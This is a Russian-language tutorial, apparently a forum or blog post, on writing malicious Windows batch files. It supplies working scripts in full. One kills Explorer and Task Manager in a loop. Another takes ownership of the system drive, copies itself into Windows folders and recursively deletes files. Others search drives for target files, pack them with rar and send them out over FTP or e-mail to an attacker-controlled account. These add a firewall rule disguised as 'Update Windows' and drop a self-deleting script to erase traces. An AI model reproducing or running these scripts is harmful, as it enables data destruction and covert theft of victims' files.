Давненько не писал,да и честно говоря ни настроя ни желание как такого не было да и сейчас нету,так что пишу так чисто от балды пока работает сканер.)
И так начнём...
А начнём с того что во первых определимся для чего нам нужен вирус,то есть какую полезную функцию он будет выполнять.Будет вирус тупа создавать кучу ошибок и портить нервы ламерам или же будет нести какую то реально полезную функцию и это будет не совсем шалость,а допустим вирус который будет искать нужный нам файл,отправлять его куда нибудь,там на почтовый ящик,либо на FTP сервер и удалять за собой все следы присутствия,дабы не вызывать ни каких подозрений.
В первом случае всё просто,можно обойтись буквально в несколько строк команд cmd:
@echo off :start explorer.exe goto start
@echo off - выключаем вывод команд(можно и без этого)
:start - ставим метку
explorer.exe - запускаем explorer,тупа откроется окно проводника.
goto start - прыгаем на метку start
Подобный батинок не принесёт особого вреда системе,но довольно не плохо покапает на нервы неопытному пользователю.При запуске батинок начнёт открывать окно проводника,пока не упадёт система,при этом не давая выполнить ни какого действия.
Добавим вывод какого нибудь сообщения,убьём проводник и запретим запуск его в дальнейшем как в принципе и диспетчера задач.
@echo off :start taskkill /f /im explorer.exe /t taskkill /f /im taskmgr.exe /t msg %username% Текст сообщения goto start
Подобный батинок посадит на большую панику,но сразу заявит о себе своим сообщением,сразу отбив какие либо сомнения по поводу действий в системе.
Как и батинок изложенный выше не принесёт особого вреда системе,однако на панику неопытного пользователя посадит,разумеется если добавить строку на пропись в автозагрузку,паника увеличится в несколько раз и неопытный пользователь без сторонней помощи не обойдёться)
Ну и добавим не много зловреда,тоже в принципе шалость и по сути не принесёт ни какой пользы,но всё же напишем тупа что бы было))
@echo off :start takeown /f %Systemdrive%\* /r if exist %Systemdrive%\virus.bat goto co else copy /y %0 "%Systemdrive%\virus.bat" copy /y %0 "%Systemroot%\virus.bat" copy /y %0 "%Systemdrive%\inf\virus.bat" start %Systemdrive%\virus.bat start %Systemroot%\virus.bat start %Systemdrive%\inf\virus.bat :co taskkill /f /im explorer.exe /t taskkill /f /im taskmgr.exe /t del /s /q *.* msg %username% Hello Lamer goto start
Батинок повысит права на доступ к файлам,каталогам и подкаталогам вместе с файлами в них,на системном диске,допустим на диске С: и скопирует своё тело на C:,в папку Windows,inf,убьёт процесс проводника и запретит дальнейший его запуск,в принципе как диспетчера задач и начнёт удалять все файлы которые будут там находиться,а так как перед этим права на файлы повысяться большинство файлов удаляться.Будет выполняться данный батинок до тех пор пока не повиснит система,на это как правило много времени не потребуется.
Вышеизложенный батинок принесёт большего вреда,пред идущие,но эффект по идеи поправим, путём восстановления системы.
Думаю на этом закончим с глупостями и рассмотрим пример батинка который будет нести полезную функцию,а именно будет тащить нужный нам файл,отправлять его куда нибудь и стирать за собой все следы своего присутствия.
Стащить файл местоположение которого мы знаем,наверное самое простое,если файл один,то тупа указываем путь к файлу который нам нужен,в коде отправки.Но прежде нам нужно определиться как будет отправляться файл,через FTP или же на почту?
В первом варианте всё просто и не потребуется ни каких посторонних файлов,пишем:
@echo off netsh advfirewall firewall add rule name="Update Windows" dir=in program="%SYSTEMROOT%\System32\ftp.exe" security=notrequired action=allow echo open host FTP>%systemdrive%\ftp.txt echo user Login Password>>%systemdrive%\ftp.txt echo cd pass>>%systemdrive%\ftp.txt echo put %Путь до файла%\fil.file>>%systemdrive%\ftp.txt echo quit>>%systemdrive%\ftp.txt ftp -n -s:%systemdrive%\ftp.txt echo @echo off>%temp%\del.bat echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat echo cls >>%temp%\del.bat echo del /s /q %temp%\del.bat>>%temp%\del.bat cls del /s /q %systemdrive%\ftp.txt start %temp%\del.bat exit
Вместо host FTP пишем хост на который будет отправляться файл,вместо Login Password пишем логин и пароль от хостинга на который будет улетать нужный файл,в этой строке :echo put %Путь до файла%\file.file>>%systemdrive%\ftp.txt указываем путь до файла который нам нужен.
Во втором случае нам придётся воспользоваться помощью сторонних программа типа blat или sendmail,расмотрим пример с использованием sendmail:
@echo off netsh advfirewall firewall add rule name="Update Windows" dir=in program="%systemdrive%\sendmail.exe" security=notrequired action=allow %systemdrive%\sendmail.exe /smtpserver smtp.server.in /to to@servermail.lv /from from@server.in /subject Theme mail /body body text /attachment c:\dir\file.file /user from /password password echo @echo off>%temp%\del.bat echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat echo cls >>%temp%\del.bat echo del /s /q %temp%\del.bat>>%temp%\del.bat cls del /s /q %systemdrive%\sendmail.exe start %temp%\del.bat exit
ключевой строкой является:
%systemdrive%\sendmail.exe /smtpserver smtp.server.in /to to@servermail.lv /from from@server.in /subject Theme mail /body body text /attachment c:\dir\file.file /user from /password password
%systemdrive%\sendmail.exe - путь к программе sendmail
/smtpserver smtp.server.in - указываем smtp сервер почтовой службы с которой будет производиться отправка письма
/to to@servermail.lv - адрес почтового ящика на который будет производиться отправка письма с файлом
/from from@server.in - адрес почтового ящика с котрого будет производиться отправка письма
/subject Theme mail - тема отправляемого письма
/body body text - текст содержащийся в отправляемом письме
/attachment c:\dir\file.file - полный путь к нужному нам файлу
/user from - логин от почтовго ящика с которого будет производиться отправка письма
/password password - пароль от почтового ящика с которого будет производиться отправка письма
Как видно в обоих батинках есть один и тот же кусок:
echo @echo off>%temp%\del.bat echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat echo cls >>%temp%\del.bat echo del /s /q %temp%\del.bat>>%temp%\del.bat
Этот кусок создаёт батинок в временной папке temp,который в свою очередь удаляет выполянемый батинок и самого себя.
А что если мы не знаем где находиться нужный нам файл?
Да всё снова просто,мы найдем наш файл,скопируем его в какую нибудь папку,в атаче укажем путь куда будме копировать файл,а после отправки тупа удалим его от туда,как в прнинципе и всё остальное в дальнейшем.
В коде это будет выглядить примерно так:
@echo off netsh advfirewall firewall add rule name="Update Windows" dir=in program="%SYSTEMROOT%\System32\ftp.exe" security=notrequired action=allow for /f "tokens=*" %%a in ('Dir /b/s/a-d %systemdrive%\file.file') Do copy %lol%=%%a copy /y file.file %SystemDriver%\file.file cls echo open host FTP>%systemdrive%\ftp.txt echo user Login Password>>%systemdrive%\ftp.txt echo cd pass>>%systemdrive%\ftp.txt echo put %systemdrive%\fil.file>>%systemdrive%\ftp.txt echo quit>>%systemdrive%\ftp.txt ftp -n -s:%systemdrive%\ftp.txt echo @echo off>%temp%\del.bat echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat echo cls >>%temp%\del.bat echo del /s /q %temp%\del.bat>>%temp%\del.bat cls del /s /q %systemdrive%\file.file del /s /q %systemdrive%\ftp.txt start %temp%\del.bat exit
Вообщем всё видно по батинку,ну я так думаю))
Параметры указываем те же,просто добавляем пару строк в тело батинка,строка которая будет искать нужный нам файл на системном диске,строка которая при нахождение его скопирует на системный диск и строка которая после отправки его удалит.
Снова всё как всегда просто,а иначе в принципе и быть не может.В принципе если файлов нужно будет утянуть не один,то снова есть выбор,либо несколько раз производить отправку нужного файла,либо сначала его упаковать при помощи компанента из популярного архиватора -WinRar,в обоих случаях всё просто.
Допустим нам нужно несколько файлов,а именно пять,двух из которых местоположение мы знаем,а с тремя остальными,нам не так повезло и мы знаем только имя диска на которых находяться каждый из них.
Отправлять снова и снова каждый файл по отдельности,конечно же можно,но думаю будет целеобразней упаковать всё в один архив и отправить всё за один раз.
@echo off netsh advfirewall firewall add rule name="Update Windows" dir=in program="%SYSTEMROOT%\System32\ftp.exe" security=notrequired action=allow md %systemdrive%\file copy /y %systemdrive%\folder\file.file %systemdrive%\file\file.file copy /y D:\Password\fil2.file %systemdrive%\file\file2.file for /f "tokens=*" %%a in ('Dir /b/s/a-d %systemdrive%\file3.file') Do copy %lol%=%%a copy /y file3.file %systemdrive%\file\file3.file del /s /q file3.file cls for /f "tokens=*" %%a in ('Dir /b/s/a-d D:\file4.file') Do copy %lol%=%%a copy /y file4.file %systemdrive%\file\file4.file del /s /q file4.file cls for /f "tokens=*" %%a in ('Dir /b/s/a-d C:\file5.file') Do copy %lol%=%%a copy /y file5.file %systemdrive%\file\file5.file del /s /q file5.file cls copy /y %systemdrive%\rar.exe %systemdrive%\file\rar.exe del /s /q %systemdrive%\rar %systemdrive%\file\rar a -r %systemdrive%\file\file.rar %systemdrive%\file\ echo open host FTP>%systemdrive%\ftp.txt echo user Login Password>>%systemdrive%\ftp.txt echo cd pass>>%systemdrive%\ftp.txt echo put %systemdrive%\fil\file.rar>>%systemdrive%\ftp.txt echo quit>>%systemdrive%\ftp.txt ftp -n -s:%systemdrive%\ftp.txt echo @echo off>%temp%\del.bat echo del /s /q %systemdrive%\virus.exe>>%temp%\del.bat echo cls >>%temp%\del.bat echo del /s /q %temp%\del.bat>>%temp%\del.bat cls rd /s /q %systemdrive%\file.file del /s /q %systemdrive%\ftp.txt start %temp%\del.bat exit
В данном батинке мы знаем местоположение file.file и file2.file,знаем что file3.file находиться на системном диске,file4.file находиться на диске D:,а file5.file находиться на диске C:.
Ну в общем думаю на этом мы и закончим,честно надоело писать,да и мысли уже путаются,так что на этом и закончу,если кому чего будет не понятно,разумеется задаём свои вопросы ниже не стсняемся,а мы в свою очередь попытаемся на них ответить.
Файлы которые к которым я приводил примеры,а именно консольная программы отсылки писем Sendmail и компанент от популярного архиватора rar.exe можно скачать Здесь или здесь.